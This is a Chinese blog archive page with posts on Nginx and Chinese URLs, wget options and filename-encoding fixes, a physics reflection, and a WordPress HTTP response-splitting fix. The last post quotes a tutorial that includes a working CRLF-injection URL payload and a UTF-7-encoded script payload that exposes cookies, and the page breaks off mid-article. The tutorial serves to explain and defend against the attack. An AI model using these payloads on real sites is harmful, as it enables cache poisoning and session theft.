月份: 2012-10

Nginx下使用中文URL和中文目录路径

一、确定你的Linux系统是UTF编码,Root登录SSH:

env|grep LANG
LANG=en_US.UTF-8

二、NGINX配置文件里默认编码设置为utf-8

server
{
listen 80;
server_name .inginx.com ;
index index.html index.htm index.php;
root /usr/local/nginx/html/inginx.com;
charset utf-8;
}

三、如果使用putty
windows –> translation –>UTF-8

mkdir 中文目录名
echo ‘中文目录名’ > 中文目录名/中国.html

四、如果是用securecrt 上传文件,请选择 回话–>外观–UTF-8
如果是FTP软件也将默认编码设置为TUF-8

五、如果上传的文件名出现乱码显示
执行

for f in `ls *.html` ; do mv $f `ls $f|iconv -f GBK -t UTF-8`; done

完毕。

转自http://qiaodahai.com/personal/article/2010/nginx-chinese-url-and-chinese-directory-path.htm

wget的所有参数列表

用法: wget [选项]… [URL]…

长选项所必须的参数在使用短选项时也是必须的。

启动:
-V, –version 显示 Wget 的版本信息并退出。
-h, –help 打印此帮助。
-b, –background 启动后转入后台。
-e, –execute=COMMAND 运行一个“.wgetrc”风格的命令。

日志和输入文件:
-o, –output-file=FILE 将日志信息写入 FILE。
-a, –append-output=FILE 将信息添加至 FILE。
-d, –debug 打印大量调试信息。
-q, –quiet 安静模式 (无信息输出)。
-v, –verbose 详尽的输出 (此为默认值)。
-nv, –no-verbose 关闭详尽输出,但不进入安静模式。
-i, –input-file=FILE 下载本地或外部 FILE 中的 URLs。
-F, –force-html 把输入文件当成 HTML 文件。
-B, –base=URL 解析与 URL 相关的
HTML 输入文件 (由 -i -F 选项指定)。
–config=FILE Specify config file to use.

下载:
-t, –tries=NUMBER 设置重试次数为 NUMBER (0 代表无限制)。
–retry-connrefused 即使拒绝连接也是重试。
-O, –output-document=FILE 将文档写入 FILE。
-nc, –no-clobber skip downloads that would download to
existing files (overwriting them).
-c, –continue 断点续传下载文件。
–progress=TYPE 选择进度条类型。
-N, –timestamping 只获取比本地文件新的文件。
–no-use-server-timestamps 不用服务器上的时间戳来设置本地文件。
-S, –server-response 打印服务器响应。
–spider 不下载任何文件。
-T, –timeout=SECONDS 将所有超时设为 SECONDS 秒。
–dns-timeout=SECS 设置 DNS 查寻超时为 SECS 秒。
–connect-timeout=SECS 设置连接超时为 SECS 秒。
–read-timeout=SECS 设置读取超时为 SECS 秒。
-w, –wait=SECONDS 等待间隔为 SECONDS 秒。
–waitretry=SECONDS 在获取文件的重试期间等待 1..SECONDS 秒。
–random-wait 获取多个文件时,每次随机等待间隔
0.5*WAIT…1.5*WAIT 秒。
–no-proxy 禁止使用代理。
-Q, –quota=NUMBER 设置获取配额为 NUMBER 字节。
–bind-address=ADDRESS 绑定至本地主机上的 ADDRESS (主机名或是 IP)。
–limit-rate=RATE 限制下载速率为 RATE。
–no-dns-cache 关闭 DNS 查寻缓存。
–restrict-file-names=OS 限定文件名中的字符为 OS 允许的字符。
–ignore-case 匹配文件/目录时忽略大小写。
-4, –inet4-only 仅连接至 IPv4 地址。
-6, –inet6-only 仅连接至 IPv6 地址。
–prefer-family=FAMILY 首先连接至指定协议的地址
FAMILY 为 IPv6,IPv4 或是 none。
–user=USER 将 ftp 和 http 的用户名均设置为 USER。
–password=PASS 将 ftp 和 http 的密码均设置为 PASS。
–ask-password 提示输入密码。
–no-iri 关闭 IRI 支持。
–local-encoding=ENC IRI (国际化资源标识符) 使用 ENC 作为本地编码。
–remote-encoding=ENC 使用 ENC 作为默认远程编码。
–unlink remove file before clobber.

目录:
-nd, –no-directories 不创建目录。
-x, –force-directories 强制创建目录。
-nH, –no-host-directories 不要创建主目录。
–protocol-directories 在目录中使用协议名称。
-P, –directory-prefix=PREFIX 以 PREFIX/… 保存文件
–cut-dirs=NUMBER 忽略远程目录中 NUMBER 个目录层。

HTTP 选项:
–http-user=USER 设置 http 用户名为 USER。
–http-password=PASS 设置 http 密码为 PASS。
–no-cache 不在服务器上缓存数据。
–default-page=NAME 改变默认页
(默认页通常是“index.html”)。
-E, –adjust-extension 以合适的扩展名保存 HTML/CSS 文档。
–ignore-length 忽略头部的‘Content-Length’区域。
–header=STRING 在头部插入 STRING。
–max-redirect 每页所允许的最大重定向。
–proxy-user=USER 使用 USER 作为代理用户名。
–proxy-password=PASS 使用 PASS 作为代理密码。
–referer=URL 在 HTTP 请求头包含‘Referer: URL’。
–save-headers 将 HTTP 头保存至文件。
-U, –user-agent=AGENT 标识为 AGENT 而不是 Wget/VERSION。
–no-http-keep-alive 禁用 HTTP keep-alive (永久连接)。
–no-cookies 不使用 cookies。
–load-cookies=FILE 会话开始前从 FILE 中载入 cookies。
–save-cookies=FILE 会话结束后保存 cookies 至 FILE。
–keep-session-cookies 载入并保存会话 (非永久) cookies。
–post-data=STRING 使用 POST 方式;把 STRING 作为数据发送。
–post-file=FILE 使用 POST 方式;发送 FILE 内容。
–content-disposition 当选中本地文件名时
允许 Content-Disposition 头部 (尚在实验)。
–auth-no-challenge 发送不含服务器询问的首次等待
的基本 HTTP 验证信息。

HTTPS (SSL/TLS) 选项:
–secure-protocol=PR 选择安全协议,可以是 auto、SSLv2、
SSLv3 或是 TLSv1 中的一个。
–no-check-certificate 不要验证服务器的证书。
–certificate=FILE 客户端证书文件。
–certificate-type=TYPE 客户端证书类型,PEM 或 DER。
–private-key=FILE 私钥文件。
–private-key-type=TYPE 私钥文件类型,PEM 或 DER。
–ca-certificate=FILE 带有一组 CA 认证的文件。
–ca-directory=DIR 保存 CA 认证的哈希列表的目录。
–random-file=FILE 带有生成 SSL PRNG 的随机数据的文件。
–egd-file=FILE 用于命名带有随机数据的 EGD 套接字的文件。

FTP 选项:
–ftp-user=USER 设置 ftp 用户名为 USER。
–ftp-password=PASS 设置 ftp 密码为 PASS。
–no-remove-listing 不要删除‘.listing’文件。
–no-glob 不在 FTP 文件名中使用通配符展开。
–no-passive-ftp 禁用“passive”传输模式。
–retr-symlinks 递归目录时,获取链接的文件 (而非目录)。

递归下载:
-r, –recursive 指定递归下载。
-l, –level=NUMBER 最大递归深度 (inf 或 0 代表无限制,即全部下载)。
–delete-after 下载完成后删除本地文件。
-k, –convert-links 让下载得到的 HTML 或 CSS 中的链接指向本地文件。
-K, –backup-converted 在转换文件 X 前先将它备份为 X.orig。
-m, –mirror -N -r -l inf –no-remove-listing 的缩写形式。
-p, –page-requisites 下载所有用于显示 HTML 页面的图片之类的元素。
–strict-comments 用严格方式 (SGML) 处理 HTML 注释。

递归接受/拒绝:
-A, –accept=LIST 逗号分隔的可接受的扩展名列表。
-R, –reject=LIST 逗号分隔的要拒绝的扩展名列表。
-D, –domains=LIST 逗号分隔的可接受的域列表。
–exclude-domains=LIST 逗号分隔的要拒绝的域列表。
–follow-ftp 跟踪 HTML 文档中的 FTP 链接。
–follow-tags=LIST 逗号分隔的跟踪的 HTML 标识列表。
–ignore-tags=LIST 逗号分隔的忽略的 HTML 标识列表。
-H, –span-hosts 递归时转向外部主机。
-L, –relative 只跟踪有关系的链接。
-I, –include-directories=LIST 允许目录的列表。
–trust-server-names use the name specified by the redirection
url last component.
-X, –exclude-directories=LIST 排除目录的列表。
-np, –no-parent 不追溯至父目录。

解决wget下载文件名乱码的一些方法

在下载用apache或者nginx做的索引目录时,遇到文件名乱码问题。搜索了不少资料,尝试了好几种方案,大家可以结合使用。

一般情况下加上–restrict-file-names=nocontrol参数就可以用了。

其实除了下面方法一和方法二外,还有一个大家可以自由发挥的,我是没有研究透,编码实在太让自己头疼了。

有一个前提,要注意索引目录显示出来的是什么编码,比如有些网站是UTF-8(这个应该比较正规,中文不会出现很大麻烦,可以用方法二搞定),有些是GBK,可能跟文件的编码,或者apache、nginx的设置有关吧。

1、下载的时候保存成ascii,跟方法三类似

wget --restrict-file-names=ascii -m www.xxx.com/

2、用一个重命名软件,菲菲更名宝贝RenamePro8.0,相当好用。在“高级文件名变”更里面有一个“文件名编码与解码”,“ANSI编码URL字符串转换为文字”,大家可以多试试。
下载: RenamePro8.zip

3、如果不行,可以研究一下wget的一些参数,相关的有两个。
–local-encoding=ENC IRI (国际化资源标识符) 使用 ENC 作为本地编码。
–remote-encoding=ENC 使用 ENC 作为默认远程编码。

方法一
moper:这种方法是把文件名转换成ascii,加了一个–restrict-file-name=ascii参数,然后再用python写的一段程序,转换成win能够接受的编码。其实我们只需加另一个参数–restrict-file-names=nocontrol,就可以了。
完整命令为

wget --restrict-file-names=nocontrol -m http://ebook.elain.org

(我解释的不专业请看正文,发觉编码好混乱哎)

《使用 wget 整站下载》
转自http://blog.csdn.net/kowity/article/details/6899256

最近发现一个很好的网站:http://ebook.elain.org,里面有大量的技术书籍。于是想使用 wget 把整个网站都下载下来。但是 wget 对中文的 url 支持得不够好,直接使用:

  wget -m http://ebook.elain.org

下载的话,中文文件名就会乱码,比如“2010架构师大会PPT”就变成了“2010鏋舵瀯甯堝ぇ浼歅PT”。

  wget --restrict-file-name=ascii -m http://ebook.elain.org

下载的话,中文文件名会编码成URL形式,比如比如“2010架构师大会PPT”就变成了“2010%E6%9E%B6%E6%9E%84%E5%B8%88%E5%A4%A7%E4%BC%9APPT”。主要是因为在网页上,中文 URL会以 UTF-8 来编码,而 Windows 存储文件名是用GBK编码。也就是说“2010鏋舵瀯甯堝ぇ浼歅PT”实际上是以 GBK 编码来显示的 UTF-8 编码的文件名。这样我们只要用 Python 写个编码转换器就可以了。代码如下:

import os, urllib, sys, getopt

class Renamer:
    
    input_encoding = ""
    output_encoding = ""
    path = ""
    is_url = False
    
    def __init__(self, input, output, path, is_url):
        self.input_encoding = input
        self.output_encoding = output
        self.path = path
        self.is_url = is_url
    
    def start(self):
        self.rename_dir(self.path)

    def rename(self, root, path):
        try:
            if self.is_url:
                new = urllib.unquote(path).decode(self.input_encoding).encode(self.output_encoding)
            else:
                new = path.decode(self.input_encoding).encode(self.output_encoding)
            os.rename(os.path.join(root, path), os.path.join(root, new))
        except:
            pass

    def rename_dir(self, path):
        for root, dirs, files in os.walk(path):
            for f in files:
                self.rename(root, f)

            if dirs == []:
                for f in files:
                    self.rename(root, f)
            else:
                for d in dirs:
                    self.rename_dir(os.path.join(root, d))
                    self.rename(root, d)
def usage():
    print '''This program can change encode of files or directories.
    Usage:   rename.exe [OPTION]...
    Options:
        -h, --help                  this document.
        -i, --input-encoding=ENC    set original encoding, default is UTF-8.
        -o, --output-encoding=ENC   set output encoding, default is GBK.
        -p, --path=PATH             choose the path which to process.
        -u, --is-url                whether as a URL
    '''


def main(argv):
    input_encoding = "utf-8"
    output_encoding = "gbk"
    path = ""
    is_url = True
    
    try:
        opts, args = getopt.getopt(argv, "hi:o:p:u", ["help", "input-encoding=", "output-encoding=", "path=", "is-url"])
    except getopt.GetoptError:
        usage()
        sys.exit(2)
    for opt, arg in opts:
        if opt in ("-h", "--help"):
            usage()
            sys.exit()
        elif opt in ("-i", "--input-encoding"):
            input_encoding = arg
        elif opt in ("-o", "--output-encoding"):
            output_encoding = arg
        elif opt in ("-p", "--path"):
            path = arg
        elif opt in ("-u", "--is-url"):
            is_url = True

    rn = Renamer(input_encoding, output_encoding, path, is_url)
    rn.start()

if __name__ == '__main__':
    main(sys.argv[1:])

如果 wget 是使用以下命令行来下载:

  wget --restrict-file-name=ascii -m http://ebook.elain.org

那么下载下来的文件是“2010%E6%9E%B6%E6%9E%84%E5%B8%88%E5%A4%A7%E4%BC%9APPT”形式,运行脚本时就使用以下命令:

  rename.py -i utf-8 -o gbk -p R:\ebook.elain.org -u

方法二
改wget源代码

moper:不推荐这种方法,因为比较麻烦,我也没有测试,可能这种效果会好一些吧。

文章一《wget中文乱码解决方案》

用wget下载网页时,若文件名含有非ASCII字符或其他特殊字符,就会出现所谓的乱码。若想解决中文乱码的问题,可以修改wget的源代码。
对URL字符串进行编码的源代码文件是url.c。其中,url_file_name()的功能是根据URL判断应该以什么文件名保存文件。而该函数又调用了append_uri_pathel(),该函数调用了FILE_CHAR_TEST()宏,它用于判断URL中的字符是不是特殊字符(也就是需要进行URL编码的字符。当然,包括中文)。问题就出在这个宏身上了。为了不对中文转义,需要将中文字符当作普通字符对待。将如下所示的FILE_CHAR_TEST()宏:

#define FILE_CHAR_TEST(c, mask) \
    ((opt.restrict_files_nonascii && !c_isascii ((unsigned char)(c))) || \
    (filechr_table[(unsigned char)(c)] & (mask)))

修改为:

#define FILE_CHAR_TEST(c, mask) \
(((opt.restrict_files_nonascii && !c_isascii ((unsigned char)(c))) || \
(filechr_table[(unsigned char)(c)] & (mask))) \
&& !((c|0x0fffffff) == 0xffffffff)) /* 排除中文 */

文章二《解決wget中文亂碼問題的非完善方案》

1. 出現亂碼的原因

  http請求的流程如下:
  (1) 瀏覽器按URL編碼規則將URL(包括post或get提交的那一部分)字符串編碼之後發送給服務器;
  (2) 服務器將所收到的字符串轉換為unicode編碼,處理完瀏覽器的請求後再把它發送給瀏覽器;
  (3) 瀏覽器按指定的編碼顯示網頁。
  在不同的字符編碼格式下,瀏覽器對包含諸如中文之類的非ACSII字符的URL字符串的解析結果是不一樣的。從而,URL編碼對象就不一樣了。wget下載網頁文件時,實質上是一個瀏覽器。它同樣會對所提交的URL字符串按URL編碼規則編碼。因此,所下載的文件的文件名就是經過編碼(先是按URL規則編碼,接著是unicode編碼,最後是unicode到瀏覽器端所設定的編碼)之後的字符串。如果瀏覽器端採用的是unicode編碼,則結果是一串由’%’、數字和字母組成的字符串;否則,將unicode編碼格式的URL字符串解析為瀏覽器端的編碼格式,這可能會產生非ACSII字符。我們所說的亂碼,包括這兩種情況。也就是說,跟原來的文件名不一樣,我們就管它出現亂碼。

2. 解決方案

  由于上述原因,我們有必要修改wget的源代碼。對URL字符串進行編碼的源代碼文件是url.c。其中,url_file_name()的功能是根據URL判斷應該以什 文件名保存文件。而該函數又調用了append_uri_pathel(),該函數調用了FILE_CHAR_TEST()宏,它用于判斷URL中的字符是不是特殊字符(也就是需要進行URL編碼的字符。當然,包括中文)。問題就出在這個宏身上了。為了不對中文轉義,需要將中文字符當作普通字符對待。將如下所示的FILE_CHAR_TEST()宏:

  #define FILE_CHAR_TEST(c, mask) \
    ((opt.restrict_files_nonascii && !c_isascii ((unsigned char)(c))) || \
    (filechr_table[(unsigned char)(c)] & (mask)))

修改為:

  #define FILE_CHAR_TEST(c, mask) \
    (((opt.restrict_files_nonascii && !c_isascii ((unsigned char)(c))) || \
    (filechr_table[(unsigned char)(c)] & (mask))) \
    && !((c|0x0fffffff) == 0xffffffff)) /* 排除中文 */

  另外,如果使用unicode編碼方案的話,就不會出現上述第二種亂碼。因此,可以將瀏覽器端的字符編碼環境設置為unicode。這裡,選擇UTF-8編碼方案(UCS Transformation Format)。方法是在main.c的i18n_initialize最後加上:

'setlocale(LC_CTYPE, "zh_CN.UTF-8");'


  這不是一個很好的解決方案。另外,它沒辦法解決其他語言的亂碼問題。當然,可以將url_file_name()中的URL編碼部份統統拿掉。這樣做的結果是,不出現亂碼,現時亦違背了URL編碼的初衷--安全。不過我還沒想到更簡單的方案。這是一種暫行方案。希望官方的解決方案的出現不會路漫漫其修遠兮。。。

用wget下载整个网站或索引目录

一直不知道nginx或者apache建立的索引目录是怎么下载的,偶然听到一个朋友说wget可以,在网上一查果真行,哎哎,终于可以满足自己的下载欲望了。记录命令使用情况如下。

$ wget -c -r -nd -np -k -L -p -A c,h www.xxx.com/doc/path/

-c 断点续传
-r 递归下载,下载指定网页某一目录下(包括子目录)的所有文件
-nd 递归下载时不创建一层一层的目录,把所有的文件下载到当前目录
-np 递归下载时不搜索上层目录。

如wget -c -r www.xxx.com/doc/path/ 没有加参数-np,就会同时下载path的上一级目录pub下的其它文件

-k 将绝对链接转为相对链接,下载整个站点后脱机浏览网页,最好加上这个参数

-L 递归时不进入其它主机,如wget -c -r www.xxx.com/ 如果网站内有一个这样的链接: www.yyy.com,不加参数-L,就会像大火烧山一样,会递归下载www.yyy.com网站
-p 下载网页所需的所有文件,如图片等
-A 指定要下载的文件样式列表,多个样式用逗号分隔
-i 后面跟一个文件,文件内指明要下载的URL。

下载有索引目录
wget -m http: //www.xxx.com/dir/ 这个最强力了!前提是目录必须是索引目录!

下载一个目录,例如网站的yourdir

wget -U “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5)” -r -p -k -np -Pmydir -nc -o down.log http://www.xxx.com/yourdir/index.html

如果要想下载整个网站,最好去除-np参数。

wget -U “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5)” -r -p -k -nc -o down.log http://www.xxx.com/index.html

-U 修改agent,伪装成IE货firefox等
-r 递归;对于HTTP主机,wget首先下载URL指定的文件,然后(如果该文件是一个HTML文档的话)递归下载该文件所引用(超级连接)的所有文件(递归深度由参数-l指定)。对FTP主机,该参数意味着要下载URL指定的目录中的所有文件,递归方法与HTTP主机类似。
-c 指定断点续传功能。实际上,wget默认具有断点续传功能,只有当你使用别的ftp工具下载了某一文件的一部分,并希望wget接着完成此工作的时候,才需要指定此参数。
-nc 不下载已经存在的文件
-np 表示不跟随链接,只下载指定目录及子目录里的东西;
-p 下载页面显示所需的所有文件。比如页面中包含了图片,但是图片并不在/yourdir目录中,而在/images目录下,有此参数,图片依然会被正常下载。
-k 修复下载文件中的绝对连接为相对连接,这样方便本地阅读。

看诺贝尔物理学奖所想到的

今年的诺贝尔奖揭晓了,再次看到物理学的相关知识真的好兴奋。已经好多年没有碰物理学了,不知道什么时候才会重拾。也许这辈子都不会再那样子探索了吧。好怀念,同时又有点感慨,为什么我们学习的兴趣都没有了?是因为没有压力了吗?还是生活的无奈 ,亦或是大学就是给我们这样一个过渡的平台。忽然想到中国教育的悲哀,如果能有一个老师带领自己像高中那样的学习将有多好。那时候对物理的兴趣,就好像自己是个科学家一样。也许中国教育的悲哀就在此吧。很多人上了大学,选了自己不喜欢的专业,亦或是找不到能够带领的人。浮躁的社会,我们也必须去考虑怎样养家糊口,考虑就业,考虑好多好多的事情。有点羡慕那种高中和大学联办的班了。也许那里有真正的好老师,而且不用为升学之类的发愁。啊,其实我是不爱学习的。我只是想探索那些我不知道的东西,然后把它们弄明白。也许这正适合了自然科学的探索精神吧。其实我们还年轻,其实科学的探索可以作为一种爱好而已。呵呵,作为自己的兴趣,把它当做一种玩物也是不错的。加油哦,要相信自己,相信自己明天会更好。

还记得我们证明每一个物理定律的日子吗?还记得那些势能,动能,动量吗?是否还记得欧姆定律,电阻定律?是否还记得电磁感应,电容,电动势?是否还记得万有引力和微观电子间的作用力(库伦力)?是否还记得右手定律,安培法则?是否还记得波粒二相性?等等好多好多。其实我们忘的差不多了,其实我们只是学了个皮毛,但是那些日子真的叫人如此怀念。

怀念那些思考物理问题的日子。

redirect_comment_link函数中的HTTP响应拆分漏洞

没事儿用360检查了一下自己的网站,居然发现有很大的漏洞,汗啊。对于这方面不太懂,查了一下,据说“HTTP响应拆分漏洞”还挺严重的。查找了一下资料修补了一下这个漏洞。

漏洞主要是在redirect_comment_link这个函数中,想来很多朋友在function中加入了这个函数来使链接跳转。不知道这个漏洞是否真的能起到作用,不过还是按照网上说的,把它修复吧。

在此特别提醒wordpress中添加了这个函数的童鞋,赶紧加上过滤吧。还有用d4主题(改动的文件在inc\function-opt.php)的朋友哦,也要注意咯,虽然不懂这个漏洞怎么用,但是防患于未然。

解决方法如下:

在function.php中查找

$redirect = $_GET['r'];

在下面加上

$redirect = trim(str_replace("\r","",str_replace("\r\n","",strip_tags(str_replace("'","",str_replace("\n", "", str_replace(" ","",str_replace("\t","",trim($redirect))))),""))));

这一句。

还可以参考如下资料:

转载(一)

http://www.huangkeye.com/?page=传递的参数。
于是,我赶紧查看了一下这个插件。在它的一个页面里面我看到了两行代码:

$post = $_GET['p'];、$download = $_GET['download'];。

对参数$post和$download运用PHP语法中的正则表达式ereg_replace或者字符串处理函数str_replace进行操作。代码如下:

$post = trim($post); 
$post = strip_tags($post,""); //清除HTML如
等代码 $post = ereg_replace("\t","",$post); //去掉制表符号 $post = ereg_replace("\r\n","",$post); //去掉回车换行符号 $post = ereg_replace("\r","",$post); //去掉回车 $post = ereg_replace("\n","",$post); //去掉换行 $post = ereg_replace(" ","",$post); //去掉空格 $post = ereg_replace("'","",$post); //去掉单引号

或者

$post = trim($post); 
$post = strip_tags($post,""); //清除HTML如
等代码 $post = str_replace("\n", "", str_replace(" ", "", $post));//去掉空格和换行 $post = str_replace("\t","",$post); //去掉制表符号 $post = str_replace("\r\n","",$post); //去掉回车换行符号 $post = str_replace("\r","",$post); //去掉回车 $post = str_replace("'","",$post); //去掉单引号 $post = trim($post);

转自http://www.huangkeye.com/archives/20.html

转载(二)

一:前言
“HTTP响应头拆分漏洞”是一种新型的web攻击方案,它重新产生了很多安全漏洞包括:web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击方案,包括其衍生的一系列技术产生,是由于web应用程序没有对用户的提交进行严格过滤,导致非法用户可以提交一些恶意字符,更具体来说,是对用户输入的CR 和LF字符没有进行严格的过滤。
“HTTP响应头拆分漏洞”及其相关的攻击手段可以在很多的web环境中实现,包括微软的asp、asp.net,IBM WebSphere,BEA WebLogic,Jakarta Tomcat,Macromedia oldFusion/MX,Sun Microsystems SunONE;流行的Squid和Apache服务器;流行的微软IE6.0浏览器。我不是在吹牛,很多大的站点都存在这样的漏洞,这让我大吃一惊。
这篇文章将描述攻击的概念并且提供一些使用实例分析。
二:介绍
在HTTP响应头拆分攻击中具体牵涉到三个对象:
漏洞服务器:即存在漏洞的服务器。
攻击工具:比如浏览器,类似IE6.0。
攻击者:发动攻击的人。
HTTP响应头拆分攻击本质是:攻击者可以发送一个或几个HTTP指令迫使漏洞服务器产生一个攻击者构想好的输出。它可以让服务器误把几条HTTP请求看成一次完成的HTTP请求来解释。第一条请求也许攻击者部分控制着一部分,但这并不是危险的;危险的是,攻击者完全控制着第二条HTTP请求,即从HTTP状态行一直到HTTP请求的尾部。如果这样可行,攻击者就会发送多个请求指令到目标系统:第一条使得服务器完全接受两个HTTP响应,第二条响应通常是在服务器上请求一些非法资源,而服务器将会自动匹配到第二条响应,输出攻击者想要请求的资源,从而达到攻击者的目的。
通过这个思路,我们可以构造出形形色色的攻击,具体来说:
1 跨站脚本攻击(XSS):这是一个非常普通和老式的漏洞,它可以让用户通过运行了一段javascript或者html代码后,可以截取该用户的cookie和session。但是到现在,通过一些重定向脚本发起一次XSS攻击是很困难的,尤其是当用户使用最新补丁的IE浏览器的时候,除非位置头是完全控制的。但是当结合HTTP响应头攻击确是可以非常简单实现,即使只是部分控制位置头。
2 web缓存中毒(我们称之为web损耗):这是一个新的攻击技术,攻击者强迫服务器高速缓存中记录了第二次HTTP请求,而服务器中的高速缓存记录的第二次请求是经过攻击者精心构造的。这将成功的对目标站点进行损耗,当其他人访问目标站点时,他们仅仅读取了高速缓存里的数据,造成站点被“黑”的假象。当然,除了站点损耗之外,攻击者也可以偷取用户的session和cookie。
3 通过对用户的攻击:这是第二种方式的一个特殊情况。它对单个用户的欺骗、对服务器单个页面的损耗,和暂时的磨损,也可以偷取到特定用户的session和cookie。
4 劫持具体用户的页面敏感信息:攻击者欺骗服务器,并取得敏感用户的权限,并进入其用户的状态,访问到一些秘密信息。
5 浏览器高速缓存中毒:这也是一项最新的攻击方式,它这和跨站脚本攻击方式有点类似,唯一的差别就是攻击者强迫浏览器高速缓存中记录一个长和持续的磨损的网页,直到浏览器的高速缓存已经清洁。
对于这些我将在后面一一作介绍。
三:web高速缓存中毒的实现
由于这是一个新兴的技术,所以这个段落我将对web高速缓存中毒的实现做进一步的分析。
1 毒害反向代理高速缓存:即电子涂写。在这种方式中,攻击者将直接面向网站。当然最厉害的手法是磨损该网站的首页,这样所有客户端将都受到影响,这也是最漂亮的手段,但是这样很容易被发现。
2 毒害一台中间高速缓存服务器:迂回。这种方式被发现是很困难的,中间缓存服务器是有很多的,而且漏洞服务器不可能占有所有的中间缓存服务器,这些服务器很有可能不是在同一个地方,比如我们攻击台湾的站点,我们很有可能会先攻击一台位于美国的中间缓存服务器,即使被调查到了也是要很久的,也许我们早就有时间把所有的信息给清除。
3 毒害浏览器高速缓存:一针见血。攻击者很有可能会瞄准到一个特殊用户,例如从一个很富有的用户那里偷取到证书,这样的攻击将会变得很独特而且很难实施。因为,它不同于跨站脚本攻击,而且被毒害的页面要始终保持在高速缓存中以等待受害者(即你所瞄准的用户)来装载,有时候受害者从来都不会登陆到那个页面,或者是受害者浏览器禁止了JAVA脚本的执行等等,都会造成无法成功。
四:HTTP响应头漏洞攻击基本技术。
HTTP响应头攻击把代码嵌入到用户信息中并放在HTTP头部,也发生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中,重定向的URL是HTTP响应头的一部分,第二条响应是确定cookie,cookie中的name/value是响应头中set-cookie的一部分。
由于攻击的特殊性,在实现攻击前,我们先来了解一下这两个字符的编码:

CR = %0d = /r
LF = %0a = /n
比如,我们考虑以下jsp页面(/isno.jsp),内容如下:
<%
response.sendRedirect("/isno.jsp?lang="+request.getParameter("lang"));
%>

假如使得parmeter lang=ivory,程序将会重定向到/isno.jsp?lang=ivory。通常一个标准的HTTP请求会如下:

HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 12:53:28 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=ivory/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!-
1251019693; path=//r/n
Connection: Close/r/n
302 Moved Temporarily/r/n
/r/n

This document you requested has moved temporarily.

/r/n

It's now at http://192.168.0.1/isno.jsp?lang=ivory.

/r/n/r/n/r/n

这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好,我们来实行HTTP响应头攻击,再将lang赋值,这次并不是ivory,而是给另外一个东西。

/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0aI’m%20isno!
这样的话,HTTP将会如下发送:
HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n
HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
I’m%20isno!/r/n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with/r/n
Content-Type: text/html/r/n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=//r/n
Connection: Close/r/n
302 Moved Temporarily/r/n
/r/n

This document you requested has moved temporarily.

/r/n

It's now at http://192.168.0.1/isno.jsp?lang=Allyesno/r/n Content-Length: 0/r/n HTTP/1.1 200 OK/r/n Content-Type: text/html/r/n Content-Length: 24/r/n <html>I’m%20isno!</html>.

/r/n /r/n

不同的地方我用颜色标识出来了,但是这里我还是作一些解释:
这里提交了两个请求,第一个指向的URL是

/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0aI’m%20isno!

第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应:

HTTP/1.1 302 Moved Temporarily/r/n
Date: Wed, 1 Mar 2005 15:26:41 GMT/r/n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno/r/n
Content-Length: 0/r/n

对第二个请求(/index.html)自动匹配到第二个响应:

HTTP/1.1 200 OK/r/n
Content-Type: text/html/r/n
Content-Length: 24/r/n
<html>I’m%20isno!</html>.

/r/n /r/n

这样,攻击者就成功的愚弄了服务器。我们可以看出,上面这个例子非常的简单而且无知,但是是最简单的利用方法,当然实际的情况会更复杂,更会出现一些问题,我们将在下面的部分讨论实战中要考虑到的因素。
五:从实际出发—把绊脚石踢开
1 错误处理机制。
“错误处理”曾是iis漏洞的一个漏洞点,在iis5.0中,它允许客户端定制一个脚本来处理HTTP错误信息,而不是给出真正的错误页面。举例来说,当用户请求一个资源,而该资源不存在的时候,会出现“资源无法访问(你所找的页面不存在)”(HTTP状态404),而同时IIS5.0允许产生一个脚本代码响应给用户,这个代码可以是静态的HTML,也可以是动态的ASP等等。因此,这里就会产生一个HTTP响应头拆分漏洞,但是只是针对iis5.0。
2 字符过滤器的饶过。
另一个要面对的问题就是,一些应用程序会过滤掉一些用户输入的非法字符。特别是对一些非ASCII字符作严格的过滤。例如ASP.NET 1.0/1.1会尝试对数据进行UTF-8编码,如果在UTF-8中不符合的数据将会自动丢失;ASP.NET 1.1不允许有’<’字符出现在一些数据的后面。 而我们在构造header头的时候,基本上都不会出现被过滤的情况。关键就是对body请求的构造,因为这个地方会出现一些让字符过滤器过滤的字符。 饶过的方法当然就是对body处进行UTF-7进行编码(RFC 2152 - [1]),这种编码方法可以对任意的unicode字符编码到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,这样可以让过滤器对我们提交的数据无法过滤。具体实现的方法如下: I 修改第一处:

Content-Type: text/html;charset=utf-7

II 修改第二处:


编码后成为:

+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-

3 使请求的URL长度尽量缩小。
六.对高速缓存中毒的分析,跨站脚本在IE中的利用
要使高速缓存中毒,我们必须要提交Last-Modified的HTTP响应头,并指明一个将来的日期。我用实例来说明一下对高速缓存中毒的攻击:

